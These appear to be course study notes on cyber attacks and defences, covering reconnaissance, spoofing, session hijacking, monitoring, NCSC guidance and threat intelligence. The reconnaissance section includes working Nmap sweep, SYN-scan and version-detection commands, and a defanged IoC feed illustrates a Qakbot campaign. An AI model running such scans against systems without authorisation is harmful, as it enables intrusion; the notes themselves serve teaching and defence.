- TTin Tokens on every state-changing request
- SSamosa Session hardening
- CChorera CSP and the other browser-side defences
- MMukhiyale Memory safety
- LLathale Least privilege everywhere
- EEkdam Errors quiet to users, detailed in the logs
- TThokyo Testing and patching, continuously
Secure coding practices, the deck's list, which is CERT's top ten secure coding practices with its two bonus practices: validate input; heed compiler warnings; architect and design for security policies; keep it simple; default deny; adhere to the principle of least privilege; sanitise data sent to other systems; practise defence in depth (chapter 1); use effective quality assurance techniques; adopt a secure coding standard; define security requirements; and model threats (chapter 3). For the weaknesses themselves the deck points to two views of MITRE's CWE, the Common Weakness Enumeration (the catalogue of kinds of software mistake, 2.6): CWE-1026, the weaknesses in the OWASP Top Ten (2017), and CWE-1350, the weaknesses in the 2020 CWE Top 25 Most Dangerous Software Weaknesses.
- Provide an overview of four critical web application vulnerabilities: XSS (Cross-Site Scripting), XSRF, Buffer Overflow, and SQL Injection. Outline security best practices to enhance resilience against these vulnerabilities in web applications. 2082 internal Q2
- Provide an overview of four critical web application vulnerabilities: XSS (Cross-Site Scripting), XSRF, Buffer Overflow, and SQL Injection. Outline security best practices to enhance resilience against these vulnerabilities in web applications. 2081 Bhadra Q2 · 10
2.10Reconnaissance attacks
Reconnaissance attacks: IP probes, port scans and vulnerability scans PREDICTED
Passive and active. Passive reconnaissance never touches the target: open source intelligence (OSINT) from the target's website, job adverts, social media, DNS and WHOIS records, and search engines for exposed devices such as Shodan. Active reconnaissance sends packets to the target, which is faster and more precise but can be logged and detected. The deck's three attacks are active, and they run in order, each narrowing the target list:
- IP probes (IP sweeps, ping sweeps) are usually the first network reconnaissance against
a target. The attacker sends ICMP echo requests, or TCP probes where ping is blocked, to every
address in a range; the addresses that answer are live hosts. The output is a list of active
systems; Nmap is the most common tool (
nmap -sn 192.168.1.0/24). - Port scans probe each live host to find the open ports, and so the public services it
runs; web servers, file servers and servers supporting critical operations are prime targets.
- TCP connect scan: completes the three-way handshake; reliable, easily logged.
- SYN (half-open) scan: sends a SYN and reads the SYN-ACK (open) or RST (closed),
never finishing the handshake; faster and quieter (
nmap -sS). - UDP scan: slower, since open UDP ports often send no answer.
- Port states: open (a service answers), closed (the host refuses), filtered (a firewall drops the probe).
- Version detection and banner grabbing (
nmap -sV) name the software and its version.
- Vulnerability scans: with a target chosen, the attacker needs a specific flaw that gives the access wanted. A variety of tools available on the internet assist: scanners compare the services and versions found against databases of known vulnerabilities (CVEs, rated by CVSS, 2.6) and list the exploitable ones. The deck's tools: Nessus, OpenVAS, Qualys, Core Impact and Nexpose.
| Stage | Question it answers | Output | Tool | Defender's control |
|---|---|---|---|---|
| IP probe | Which hosts are alive? | Live IP addresses | Nmap, ping | Block inbound ICMP echo at the perimeter; alert on sweeps |
| Port scan | Which services run on each host? | Open ports and services | Nmap | Close unused ports, default-deny firewall, IDS scan detection |
| Vulnerability scan | Which service has an exploitable flaw? | A list of CVEs | Nessus, OpenVAS, Qualys, Core Impact, Nexpose | Scan first and patch; hide version banners; honeypots |
To remember the order: a burglar walking through a colony at night first notes which houses have their lights on (the IP probe finds live hosts), then walks round the chosen house counting doors and windows (the port scan finds open services), then checks which lock is the cheap brand he knows how to pick (the vulnerability scan finds the exploitable flaw).
Same tools, different permission. Defenders run the same scanners on their own networks in vulnerability assessment and penetration testing (chapter 7, syllabus 7.6); what separates the two is authorisation, and scanning systems without permission can itself be an offence.
Detecting reconnaissance: one source touching many addresses, or many ports on one host, in a short time is the classic IDS signature for a sweep or a scan. Honeypots (2.12) draw scanners to decoys, and any touch on a decoy is suspicious by definition.
- What is a reconnaissance attack? Explain IP probes, port scans and vulnerability scans in the order an attacker uses them, and how a defender can detect or limit each. Predicted, ch 2 Q11 · 2+8
2.11Masquerading attacks
Masquerading attacks: IP spoofing and session hijacking PREDICTED
IP spoofing: the attacker reconfigures their system so its packets carry the IP address of a trusted system, then tries to reach resources that trust that address. It is surprisingly effective on networks without adequate filters, and it enables reflected floods such as smurf. The replies go to the real owner of the address, so spoofing suits one-way attacks and address-based trust. Administrators should filter at the perimeter of each network so that:
- Inbound: packets with internal source IP addresses do not enter the network from outside.
- Outbound: packets with external source IP addresses do not leave the network from inside.
- Private: packets with private IP addresses (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16) do not pass through the router in either direction, unless specifically allowed as part of an intranet.
These three simple rules eliminate the vast majority of IP spoofing attacks. The first is ingress filtering and the second egress filtering; ISPs applying them network-wide is the best current practice BCP 38.
Session hijacking: the attacker intercepts part of the communication between an authorised user and a resource, then takes over the session and assumes the user's identity. After login a web application recognises the user only by a session token, usually a cookie, so whoever holds the token is the user. The deck's three techniques:
- Captured authentication: capturing the details of the authentication between client and server, then using them to assume the client's identity.
- A middleman: tricking the client into thinking the attacker's system is the server, acting as the middleman while the client sets up a legitimate connection, then disconnecting the client and keeping the session (2.5).
- An unclosed session: using the cookie data of a user who did not properly close the connection, for example on a shared computer where the user never logged out.
Other ways to get the token: steal it with XSS, sniff it on unencrypted Wi-Fi, or fix it in advance (session fixation: the attacker plants a known session ID before the victim logs in).
Defences against session hijacking: encrypt everything (HTTPS with HSTS) so tokens
cannot be sniffed; long random session IDs, and a new one at login and at any change of privilege,
which defeats fixation; HttpOnly, Secure and SameSite
cookies; idle and absolute timeouts, and a logout that ends the session on the server; and
re-authentication before sensitive actions.
| Point | IP spoofing | Session hijacking |
|---|---|---|
| Identity faked | A machine, by its IP address | A logged-in user, by their session |
| Layer | Network (IP) | Session and application (cookies, tokens) |
| Attacker sees replies | Usually not | Yes |
| Typical use | Reflected floods, getting past address-based trust | Taking over accounts after login |
| Prime defence | Ingress and egress filtering | Encryption, token hygiene, timeouts |
To remember the pair: IP spoofing is a letter with a forged return address: it gets delivered, but any reply goes to the real address. Session hijacking is sitting down at a cyber cafe computer where the last customer never logged out of Facebook: no password needed, because the open session is the identity.
- What is masquerading attacks? Explain about IP Spoofing and Session Hijacking. Notes prediction, ch 2 Q2
2.12Defending against malware and attacks
Specific preventive measures: deception, anti-malware, allowlisting and sandboxing PREDICTED
The deck closes with the controls that answer these attacks. Some deceive the attacker, some block the code, and some test the defences before an attacker does.
| Measure | What it is | Why use it |
|---|---|---|
| Honeypot | A decoy system with no production use, made to look valuable, that attracts attackers | Any touch is suspicious by definition; it wastes the attacker's time and reveals their tools |
| Honeynet | Two or more networked honeypots simulating a whole network | Shows how attackers move inside a network |
| Pseudo flaw | A false vulnerability or apparent loophole deliberately placed in a system to tempt attackers | Draws an intruder into a watched trap |
| Padded cell | A simulated environment that offers fake data to retain an intruder's interest, similar to a honeypot, except that the IDPS transfers the intruder into it without informing them that the change has occurred | Isolates a live intruder from real systems while evidence is gathered |
| Warning banner | A login notice telling authorised and unauthorised users that use is restricted and monitored; it reminds authorised users of their acceptable use agreement | Deters, supports consent to monitoring, and removes an excuse in court |
To remember it: a honeypot is a fake jewellery shop window that draws thieves in front of a camera; a padded cell is the guard quietly steering a thief already inside into a replica vault. Police who leave an unlocked motorbike under a hidden camera are enticing, since the thief chooses to steal; police who talk a passer-by into taking it are entrapping.
- Anti-malware: the most important protection against malicious code, with up-to-date signature files and heuristic capabilities: signatures catch known malware, heuristics catch new variants by suspicious behaviour and structure. It is centrally managed, so no machine falls behind.
- Whitelisting and blacklisting (now called allowlisting and denylisting): an allowlist lets only approved applications run (default deny); a blacklist blocks known-bad ones. Allowlisting is the stronger, since unknown malware is simply not on the list.
- Firewalls: at the perimeter and on each host, denying unsolicited connections.
- Sandboxing: a security boundary that stops an application interacting with others. Anti-malware products run unknown files in a sandbox and watch what they do before letting them through.
- Third-party security services: outsourcing services such as auditing and penetration testing to an outside individual or organisation, for independence and skills the organisation lacks.
- Penetration testing has three goals: determine how well a system can tolerate an attack; identify employees' ability to detect and respond to attacks in real time; and identify additional controls that can be implemented to reduce risk.
Penetration-testing techniques are named by what the testing team knows before it starts:
| Technique | Team | What it knows | What it simulates | Trade-off |
|---|---|---|---|---|
| Black-box testing | Zero-knowledge team | Nothing beyond what an outsider could find | An external attacker | Realistic, but slow, and can miss what it never finds |
| White-box testing | Full-knowledge team | Architecture, source code, configurations, credentials | The worst case: an attacker who knows everything | Thorough and quick to cover the whole system, but less like a real outside attack |
| Gray-box testing | Partial-knowledge team | Part of it, such as a user account or the network map | An insider or a logged-in user | A balance of realism and coverage |
- Differentiate between an intrusion detection system (IDS) and an intrusion prevention system (IPS), and between knowledge-based and behavior-based detection. Explain honeypots, padded cells, pseudo flaws and sandboxing as preventive measures. Predicted, ch 2 Q8 · 5+5
Logging, monitoring and auditing PREDICTED
Prevention fails sooner or later, so defenders must also see. Logging records events, monitoring reviews them in time to act, and auditing checks that the controls are in place and working. Chapter 4 builds the platform (logs, SIEM); this card is the deck's list of what to watch.
Logging technique, which the deck names first, is the recording half: write the events that matter to logs (security, system, application, firewall, proxy and change logs), send copies to a central log server where an intruder cannot erase them, protect them from change, and keep them for as long as the policy says. The role of monitoring is the reviewing half, done with the techniques below.
| Technique | What it does | Example |
|---|---|---|
| Audit trails | A comprehensive record of system activity (who did what, where and when) that helps detect security violations, software flaws and performance problems | Logon and file access records that tie an action to one user |
| Accountability and investigations | Reviewing the trails so users answer for their actions, and using them as evidence when an incident is investigated | Tracing a leaked file to the account that copied it |
| Sampling | Reviewing a subset of the events, chosen at random (statistical) or by a rule (nonstatistical) | Spot checks of a huge log |
| Clipping levels | Nonstatistical sampling: only events above a predefined threshold are reported; the system ignores the rest until the threshold is crossed | An alert after five failed logons in ten minutes, not on the first typo |
| Keystroke monitoring | Recording what a user types | Used only under a clear policy, since it raises privacy questions |
| Traffic and trend analysis | Studying the volume and pattern of traffic over time rather than its content | A host that suddenly talks to a new country at 3 am |
| Egress monitoring | Watching what leaves the network | Exfiltration, C2 beacons, spam from a bot |
| Data loss prevention (DLP) | Scans files and messages for sensitive content and blocks or alerts on its movement; network-based DLP watches traffic, endpoint-based DLP watches the device (USB copies, uploads) | With classifications Confidential, Proprietary, Private and Sensitive, DLP scans files for those words |
To remember clipping levels and egress: a bank that texts you only for payments above Rs 10,000 has set a clipping level: every spend is recorded, only the big ones are reported. The guard who checks bags going out of the gate, not coming in, is egress monitoring.
Auditing to assess effectiveness. An audit is a methodical examination or review of an environment to ensure compliance with regulations and to detect abnormalities, unauthorised occurrences or crimes; it verifies that the security mechanisms deployed are adequate. Auditors test that processes and procedures implementing the security policies exist and meet the requirements, and that staff follow them (chapter 7).
- Audits of privileged groups: membership of high-level administrator groups is reviewed, since those accounts can do the most damage.
- Dual administrator accounts: administrators keep two accounts, an ordinary one for day-to-day use and a privileged one for administrative work only, which keeps the privileged account away from email, browsing and the malware they bring.
- Security audits and reviews: in security operations they check that management controls are in place: patch management, vulnerability management, configuration management and change management. WannaCry spread through exactly a patch management gap (chapter 7).
- Explain audit trails, clipping levels, egress monitoring and data loss prevention as tools for detecting attacks. List the security best practices an organization should adopt against malware, including for remote work. Predicted, ch 2 Q12 · 5+5
Security best practice against malware and attacks PREDICTED
No single control stops every attack in this chapter; layers do, which is defence in depth (chapter 1). The deck's checklist for an organisation:
| Area | Practice |
|---|---|
| Anti-malware | A centrally managed, up-to-date anti-malware solution on every system |
| Patching | Patch early, patch often: operating systems and software kept at the latest patches |
| Services | File and printer sharing disabled, or protected by strong passwords or Active Directory authentication; unnecessary services disabled on workstations and servers |
| Privilege | Apply the principle of least privilege to all systems and services; restrict users' permissions to install and run applications |
| Passwords | A strong password policy; the deck adds regular password changes, which current guidance drops (2.7) |
| Awareness | Increase IT security awareness: social engineering and phishing training; safe surfing; never open suspicious emails, click their links, post sensitive information online, or give credentials in answer to any unsolicited request; hover over a link to check its destination before clicking |
Block attachments commonly used by malware (.dll, .exe) and those antivirus cannot scan (.zip); report every suspicious email to security or IT; filter known malspam indicators, such as malicious subject lines, at the gateway | |
| Network | A personal firewall on workstations that denies unsolicited connections; suspicious IP addresses blocked at the firewall; access control lists kept current |
| Web | Browsing habits monitored; access restricted to sites with unfavourable content |
| Media and downloads | Caution with removable media (USB drives, external disks, CDs); all software downloaded from the internet scanned before it runs |
| Threat awareness | Situational awareness of the latest threats (threat intelligence) |
Smart home and remote work, the deck's list for anyone working from home: consider the benefit and risk of each device; update firmware; build a secure Wi-Fi network; manage account passwords; enable two-factor authentication; split up the network (work devices apart from smart home gadgets); unplug unused devices; and check app permissions.
Remote work consideration, the deck's last best practice slide, in two columns of effort:
| Organization effort | Individual effort |
|---|---|
| Implement a zero-trust architecture | Accept that security responsibility shifts to individual employees |
| Implement microsegmentation and software-defined networking (SDN) | Build a secure Wi-Fi network |
| Implement endpoint security and SOAR (chapter 5) | Split up the network |
| Adequate backup and recovery systems | Avoid public Wi-Fi |
| Strong authentication | Adhere to the company's remote work policy |
| Use AI-powered cybersecurity | |
| Integration of threat intelligence |
To remember why the network is split: the cheap smart plug on the home Wi-Fi rarely gets a security update. On the same network as the work laptop, an attacker who takes over the plug is one hop from the company; on a separate guest network, he has only the plug.
The UK NCSC's 10 Steps to Cyber Security, the National Cyber Security Centre's infographic shown in the deck, frame the same idea as a programme. Defining and communicating the board's information risk regime is central to the whole strategy, and the NCSC recommends reviewing it together with nine associated security areas to protect a business against the majority of cyber attacks:
| Step | What it asks for |
|---|---|
| Set up a risk management regime (the centre) | Assess the risks to the organisation's information and systems with the same vigour as legal, regulatory, financial or operational risks, and embed a risk management regime across the organisation, supported by the board and senior managers. The ring around it: make cyber risk a priority for the board, produce supporting risk management policies, determine the risk appetite |
| Network security | Protect networks from attack: defend the perimeter, filter out unauthorised access and malicious content, monitor and test security controls |
| User education and awareness | User security policies covering acceptable and secure use of the systems, included in staff training; awareness of cyber risks maintained |
| Malware prevention | Relevant policies, and anti-malware defences across the organisation |
| Removable media controls | A policy controlling all access to removable media; media types and use limited; all media scanned for malware before anything is imported onto the corporate system |
| Secure configuration | Security patches applied and the secure configuration of every system maintained; a system inventory, and a baseline build defined for all devices |
| Managing user privileges | Effective management processes, few privileged accounts, limited user privileges, user activity monitored, and access to activity and audit logs controlled |
| Incident management | An incident response and disaster recovery capability; the plans tested, specialist training provided, and criminal incidents reported to law enforcement (chapter 6) |
| Monitoring | A monitoring strategy with supporting policies; all systems and networks monitored continuously, and logs analysed for unusual activity that could indicate an attack |
| Home and mobile working | A mobile working policy that staff are trained to follow; the secure baseline build applied to all devices; data protected both in transit and at rest |
Revised in 2021: the NCSC's current list reorganises the steps and adds asset management and supply chain security, among others.
- Explain audit trails, clipping levels, egress monitoring and data loss prevention as tools for detecting attacks. List the security best practices an organization should adopt against malware, including for remote work. Predicted, ch 2 Q12 · 5+5
2.13Last minute recall
Chapter 2 in one screen
- Malware split: needs a human (virus, Trojan) or spreads itself (worm); payload hits C, I or A.
- Virus: propagation and destruction; MBR, file infector (companion), macro (Melissa, VBA), service injection; multipartite, stealth, polymorphic, encrypted.
- Worm: no human needed; Morris 1988 (sendmail, finger, rsh, weak passwords, 10% of 60,000), Code Red 2001 (IIS, random IPs, White House), WannaCry 2017.
- Trojan: looks benevolent; Xbox Trojan, rogue antivirus, Emotet.
- Other: logic bomb (Michelangelo, 6 March), botnet (infection, connection, control, multiplication; C2; P2P FritzFrog and Prometei mine Monero), spyware, adware (ad revenue), MageCart (five steps; Magento CVE-2016-4010), Taidoor.
- Ransomware: access, delete shadow copies, encrypt, demand; COVID-19 surge; RaaS operators and affiliates; single, double (exfiltration), triple (DDoS), quadruple (customers), each refusal looping to the next lever; 2023 to 2025 survey; Ukraine wiper was fake ransomware.
- Ransom defence: Ryuk chain (phishing, macro, PowerShell, Emotet, TrickBot, Ryuk); awareness, risk analysis, access control; 3-2-1 offline tested backups; IR steps.
- Propagation: email, drive-by, removable media, vulnerable services, weak credentials, shares and admin tools, trojanised updates.
- APT and supply chain: advanced, persistent, threat; 12-stage lifecycle; SolarWinds SUNBURST (signed Orion update, APT29); Stuxnet (USB, zero-days, Siemens PLCs, deception).
- Social: phishing, spear phishing, whaling, vishing, smishing, quishing, pretexting, baiting, tailgating, dumpster diving; six indicators; training, DMARC, MFA.
- DoS: DDoS = many sources; DRDoS reflects; smurf (spoofed ICMP broadcast), fraggle (UDP 7, 19), ping flood, SYN flood; drop directed broadcasts, BCP 38.
- IDS and IPS: passive against inline; knowledge-based against behavior-based (false alarms); HIDS and NIDS.
- MITM: interception (ARP spoofing) then decryption (SSL stripping); DAI, VPN, HSTS.
- Zero-day: vulnerability, exploit, attack; window of exposure; Exchange 2021 (ProxyLogon, HAFNIUM, SSRF, deserialisation, file write, web shells, NTDS.dit, rebuild AD); CVE, CVSS bands, CWE; patching does not evict.
- Passwords: guessing, dictionary, brute force, spraying, stuffing; MFA, breached-list screening, lockout, salted slow hashes.
- Application: buffer overflow (return address; canaries, ASLR, DEP), TOCTOU (check then use gap), back doors, rootkits (user, kernel, bootkit, firmware; LoJax in UEFI).
- Web: XSS (reflected, stored, DOM), XSRF (token, SameSite), SQLi (prepared statements); the four abuse different trusts.
- Recon: IP probe, port scan, vulnerability scan (Nmap, Nessus).
- Masquerading: IP spoofing (three filter rules), session hijacking (three techniques).
- Defence: honeypot, padded cell, pseudo flaw, banner, anti-malware, allowlist, sandbox, pen test (black, white, gray box); audit trails, clipping levels, egress, DLP; NCSC 10 steps.
Chapter 3 · 9 hours · 15 of 80 marks in the syllabus · in all 4 sittings
Cyber threat modeling and threat hunting
This chapter turns the attacks of chapter 2 into a way of working against them: learning who attacks and how (threat intelligence), finding the weaknesses in a design before anyone exploits them (threat modeling), describing an intrusion stage by stage (the Cyber Kill Chain and MITRE ATT&CK), and going out to find the attacker who is already inside (threat hunting). It carries 15 of the 80 marks, level with chapter 2 as the heaviest, and the Cyber Kill Chain has been set in all three sittings on record.
- Threat intelligence: evidence-based knowledge about attackers, its three levels (strategic, operational, tactical), the lifecycle that produces it, where it comes from, and the Pyramid of Pain that ranks indicators by the pain they cause an attacker.
- Threat modeling: finding and ranking threats while a system is designed: the four questions, the process, STRIDE to find threats, DREAD to rate them and PASTA as a full risk-centric method.
- Describing an attack: the Cyber Kill Chain's seven stages and MITRE ATT&CK's tactics, techniques and procedures.
- Threat hunting: the proactive search for undetected attackers under an assume breach mindset: its lifecycle, the ways a hunt starts, PEAK, the Diamond Model and the Hunting Maturity Model.
- Anomalies and indicators: IoCs and IoAs, baselines, and the techniques that make the abnormal stand out.
- Tools and techniques: SIEM queries, YARA, osquery and Sigma, the hunting playbook, the hunt report, and four worked hunts.
- Chapter 1's vocabulary of threats, vulnerabilities and risk (key terms, risk management) is what threat modeling works with, and defense in depth (layered security) is why breaking any one link of the kill chain is enough.
- Chapter 2's attacks are what these models describe: phishing (social engineering) is the usual delivery stage, ransomware (ransomware) a typical action on objectives, and SQL injection (SQL injection) the classic tampering threat.
- Hunting runs on chapter 4's logs (log sources, SIEM) and chapter 5's tools (EDR, UEBA, SOAR); what a hunt confirms is handed to incident response in chapter 6 (incident handling steps).
- 3.1 Threat intelligence: types, the Pyramid of Pain, the lifecycle, the sources
- 3.2 Threat modeling: concepts, process, STRIDE, DREAD, PASTA
- 3.3 The Cyber Kill Chain
- 3.4 MITRE ATT&CK
- 3.5 Threat hunting methodologies
- 3.6 Anomalies and indicators of compromise
- 3.7 Threat hunting tools and techniques
- 3.8 Last minute recall, chapter 3
- The Cyber Kill Chain is the chapter's banker: define it, give the seven stages, and show how it helps detection, response and mitigation (10 marks on the board paper, 5 on the 2083 internal).
- STRIDE and PASTA in brief is the second half of a two-part question on the board paper and the 2082 internal.
- The class notes predict the three types of threat intelligence, proactive and reactive threat modeling, the kill chain against ATT&CK, threat hunting and its hypotheses, STRIDE with DREAD, and the Pyramid of Pain.
- Draw the kill chain with a defender action under each stage, the pyramid with its six levels, and the intelligence lifecycle as a loop. The syllabus lists ATT&CK (3.3) before the kill chain (3.4); the reader teaches the kill chain first, because ATT&CK is best understood as its detailed successor.
3.1Threat intelligence
What threat intelligence is, and why a team needs it HOT 1/4
82 Bh10
The idea in one line, as the deck opens the topic: what if we could learn from how others were attacked, before we face the same attack ourselves? Learning from others, and acting before we face it ourselves. A bank that knows a criminal group is phishing finance staff with fake payroll emails this week can warn its staff, block the sender domains and switch on a detection rule before the first email arrives.
Data is not intelligence. The three words are not interchangeable, and the difference is the whole point of the definition:
| Level | What it is | Example |
|---|---|---|
| Data | raw, unprocessed facts | a feed of 5,000 IP addresses |
| Information | data organized and given context | 40 of those addresses are botnet command servers |
| Intelligence | information analyzed for a specific decision, with a judgement and advice | three of those servers are talking to two of our hosts: block them and isolate the hosts |
To remember it: a list of every number that texted the hostel this month is data; knowing that twelve of them sent the same fake "Ncell lucky draw, reply with your PIN" message is information; the warden's notice, "block these twelve numbers and never share a PIN or an OTP", is intelligence, because it tells someone what to do today.
So information becomes intelligence only when it has been processed, contextualized and made actionable for a specific decision maker at the right time. If nobody decides anything differently because of it, it was not intelligence.
Other definitions worth quoting:
- Forrester: details of the motivations, intent and capabilities of internal and external threat actors, including the specifics of their tactics, techniques and procedures; its primary purpose is to inform business decisions about the risks those threats pose.
- FIRST (2018): the systematic collection, analysis and dissemination of information about a company's operation in cyberspace, and to an extent in physical space, designed to inform all levels of decision makers.
- Intelligence in general: the product of the directed collection and processing of information about the environment and the capabilities and intentions of actors, used to identify threats and offer opportunities for exploitation by decision makers.
- The class notes: the process of collecting, analyzing and using information about potential or existing cyber threats. It shows a team the motives, capabilities and behaviors of threat actors, so that it can prevent, detect and respond proactively, prioritize the most relevant threats and improve its overall security posture.
Three meanings of the term. Martin Lee's Cyber Threat Intelligence, which the deck cites, notes that people use it for the data collected, for the team and process that analyze it, and for a product that vendors sell. As a process it is gathering information, analyzing it and synthesizing it into a product; as a product it exists to help its recipient decide.
Why use it: four reasons from the deck, each under the label its slide gives it.
- Strengthen your defenses (proactive defense): it shows which attack vectors adversaries actively exploit against organizations like yours, so controls are hardened before the attack instead of after it. The class notes put it as increasing resilience by highlighting the common attack points.
- Identify current threats (threat identification): it is a living, continuously updated database of known indicators of compromise, matched against logs and network traffic to surface active attacks.
- Uncover the unknowns (discovery): it identifies gaps in detection coverage, the parts of the IT landscape that no existing rule, alert or signature catches, and so reduces dwell time by surfacing threats operating beneath the radar.
- Focus hunt hypotheses (targeted threat hunting): it enriches logs with external context and creates awareness of the compromise paths relevant to the sector, guiding hunters to the highest-value investigation targets (intelligence driven hunts). The class notes call this specified threat hunting.
Who uses it, per the class notes, which call threat intelligence the central component that informs every other security function:
| User | What intelligence does for it |
|---|---|
| Security leadership | decides where the money goes, from what it knows of the threats it faces |
| SOC (security operations) | triages events faster, with outside context added |
| Vulnerability management | patches first what attackers are exploiting now |
| Incident response | scopes, attributes and remediates faster |
| Threat analysts and hunters | find and answer outside threats |
- Explain the role of threat intelligence and frameworks like MITRE ATT&CK and the cyber kill chain in effective threat hunting. 2082 Bhadra Q3 · 10
- Define Threat Intelligence. Describe the three types of threat intelligence, Strategic, Tactical, and Operational, explaining the target audience and purpose of each. Notes prediction, ch 3 Q1 · 2+6
Strategic, operational and tactical intelligence PREDICTED
One question separates them: who acts on it, and how soon? The same attack campaign produces all three, each written for a different reader in a different format.
| Point | Strategic | Operational | Tactical (technical) |
|---|---|---|---|
| The deck's phrase | the big picture | the campaign picture: it bridges strategy and the day-to-day | the immediate picture: machine-speed intelligence |
| Question answered | who is targeting our sector, and why? | which campaign is active now: who, what and how? | exactly what do we block or search for? |
| Audience | CISO, board, chief risk officer, executives | SOC manager, incident response (IR) teams, IT security lead | the tools (SIEM, firewall, EDR), and SOC analysts, who use it to validate alerts and enrich investigations |
| Time horizon | months to years | days to weeks; updated daily or weekly from threat-sharing communities, vendors and government alerts | real time to hours: near real time, hours old at most |
| Format | reports, briefings, threat landscape papers | campaign reports, actor advisories, TTP briefs | STIX/TAXII feeds, CSV blocklists, YARA and Sigma rules |
| Contains | threat actor profiling (APT groups, nation-state actors, criminal organizations active in the sector); geopolitical and economic drivers; long-term trend analysis (shifts in tooling, motives and targeting); sector-specific threat landscape reports | active campaign tracking (attack waves against the industry now); adversary TTP details; context around IoCs (not just a hash, but which campaign it belongs to and how it is deployed); vulnerabilities exploited in the wild before patches are widespread; newly discovered ransomware families | machine-readable IoCs: IP addresses (C2 servers, scanners, botnet nodes), domains (phishing, DGA-generated, C2), file hashes (MD5, SHA-256: samples, ransomware payloads, droppers), URLs (phishing, malware downloads, credential harvesting pages), email indicators (senders, subjects, attachment names), YARA and Sigma rules |
| How it is used | sets the security strategy and multi-year roadmap; informs investment decisions, risk appetite and the long-term defensive posture; supports risk management and board-level reporting on cyber risk; guides vendor selection and control prioritization; enables threat modeling at the enterprise architecture level | drives near-term decisions (emergency firewall rule changes, accelerated patching, network changes for DDoS mitigation); tells incident responders how a detected actor behaves; feeds hunt hypotheses ("if this actor is active in our sector, look for these behaviors"); triggers SOAR playbooks when campaign activity matches known patterns | ingested into the SIEM as feeds, so an alert fires when an IoC appears in logs; loaded into firewall and proxy blocklists; fed to EDR, which isolates endpoints matching a hash; used in SOAR playbooks, where a match triggers enrichment, a ticket and a response. High volume, so processing must be automated |
| Goes stale | slowly: useful for 12 months or more | quickly: in days, as the campaign evolves | within 24 to 48 hours, as infrastructure rotates: freshness is everything, and an IoC a few hours old may already have been rotated by the adversary |
| Action taken | review the security architecture; reprioritize the multi-year investment roadmap | brief staff this week, update SIEM rules, block the listed domains | ingest into tools automatically: block and alert, no human decision needed |
| The deck's key point | it does not say what to patch today: it tells the CISO what to invest in over the next 18 months and what to say to the board about risk | a specific campaign happening now: a human reads it, decides and acts within days, not months and not minutes | no human reads it to make a decision: SIEM, firewall and EDR consume it within minutes of receipt |
To remember it, think of the monsoon: the seasonal outlook that makes the municipality clear its drains before June is strategic; this week's forecast of heavy rain from Tuesday, which makes the college move its picnic, is operational; and the first drops on your head, which make you open the umbrella with no meeting at all, are tactical. Same weather, three readers, three time scales.
The deck's scenario is the TA577 / Qakbot campaign against the EMEA (Europe, the Middle East and Africa) financial sector in March 2024. It shows three example reports, one for each level, first on their own and then beside the panel of their level (the table above).
Example 1, the strategic level (audience: CISO, board, chief risk officer; months to years): Lazarus Group. Attributed to North Korea's Reconnaissance General Bureau, Lazarus has targeted cryptocurrency exchanges and DeFi (decentralized finance) platforms since 2017, stealing an estimated $3 billion to fund the state's weapons program. It infiltrates developer environments and supply chains for months before any money moves; dwell times of 6 to 18 months are common. What it means for the organization:
- A standing target: anyone holding or moving digital assets is a persistent, high-probability target, whatever its geography.
- Architecture: segregating custody infrastructure from internet-facing systems is a multi-year architectural priority.
- People: social engineering of treasury and finance staff is the main initial access vector, so long-term awareness investment is warranted.
Sources: Mandiant M-Trends 2024 and the UN Panel of Experts report, 2024.
Example 2, the operational level (audience: SOC manager, incident response, IT security lead; days to weeks): the TA577 phishing wave. TA577, a financially motivated actor, is phishing finance and HR staff at mid-sized companies with emails that impersonate payroll software vendors, specifically ADP and Workday. A malicious OneNote attachment deploys Qakbot on click. The campaign has run for six days across EMEA, and the average time from the first click to credential theft is under four hours. Recommended actions, this week:
- Detect: enable SIEM detection rules for scripts embedded in OneNote files.
- Brief: send finance and HR staff an urgent brief with screenshots of the phishing emails.
- Block: the sender domains listed in the accompanying IoC feed.
- Escalate: any staff member who reports a suspicious ADP or Workday email today.
Sources: FS-ISAC Flash Alert FA-2024-0891 and Proofpoint Threat Research on TA577.
Example 3, the tactical or technical level (audience: SIEM, firewall, EDR, and a SOC analyst for validation; real time to hours): the IoC feed. The same campaign as a machine-readable feed, drawn from a MISP community feed, an FS-ISAC TAXII pull and Proofpoint ET (Emerging Threats) Intelligence, and written defanged here, as reports do. The deck's three command and control addresses are real servers, so this reader shows them as reserved documentation addresses (RFC 5737) instead:
IoC feed: TA577 Qakbot campaign, March 2024
Sender domains (block at email gateway and proxy)
payroll-adp-secure[.]com workday-hrportal[.]net
Command and control IP addresses (block outbound)
192.0.2[.]15 198.51.100[.]27 203.0.113[.]99
File hash, Qakbot dropper (SHA-256)
a3f1c2d4e5b6a7c8d9e0f1a2b3c4d5e6f7a8b9c0d1e2f3a4b5c6d7e8f9a0b1c2
YARA detection rule
Qakbot_OneNote_Dropper_Mar2024
(strings: $onenote_embed, $qbot_mutex, $ransom_ext)
Confidence: HIGH Feed entries: 847 Auto-ingest via TAXII
Reading the feed: each line says where it is enforced: domains at the email gateway and proxy, IP addresses on outbound traffic, the hash on endpoints. The deck gives the YARA rule only by its name and its three string identifiers. By their names, one string matches the script embedded in the OneNote attachment, one the mutex Qakbot creates on an infected host (a host artifact, the annoying level of the Pyramid of Pain), and one the file extension of the ransomware that often follows a Qakbot infection. Matching content rather than one hash, it still catches repacked droppers (how YARA works). The values are the deck's illustration: the hash is a placeholder run of hex digits.
The same three levels in a bank, from the deck's three detail slides:
- Strategic: a bank's CISO receives a quarterly report that APT41 is actively targeting SWIFT infrastructure in South-East Asia, and adjusts the security investment roadmap to accelerate the MFA roll-out for treasury systems.
- Operational: an ISAC advisory warns that the LockBit affiliate group is running a new campaign exploiting CVE-2024-XXXX (the deck leaves the number blank) against VPN appliances; the SOC manager immediately triggers an emergency patch review and activates the relevant detection rules in the SIEM.
- Tactical: a TAXII feed pushes 200 new malicious IP addresses at 02:00; by 02:01 the SIEM has ingested them, the firewall has added them to its blocklist, and an analyst is alerted that one of them appeared in yesterday's web proxy logs.
Why SWIFT matters here: attacks on banks' SWIFT connections are documented in the region. The 2016 theft of 81 million dollars from Bangladesh Bank was later tied by the US Justice Department to Lazarus Group.
Nepal's case: in 2017, during the Tihar holidays, attackers used NIC Asia Bank's SWIFT access to send about 4.4 million dollars in fraudulent transfers abroad, most of which was recovered. A Nepali bank's CISO reading such reports is consuming strategic intelligence.
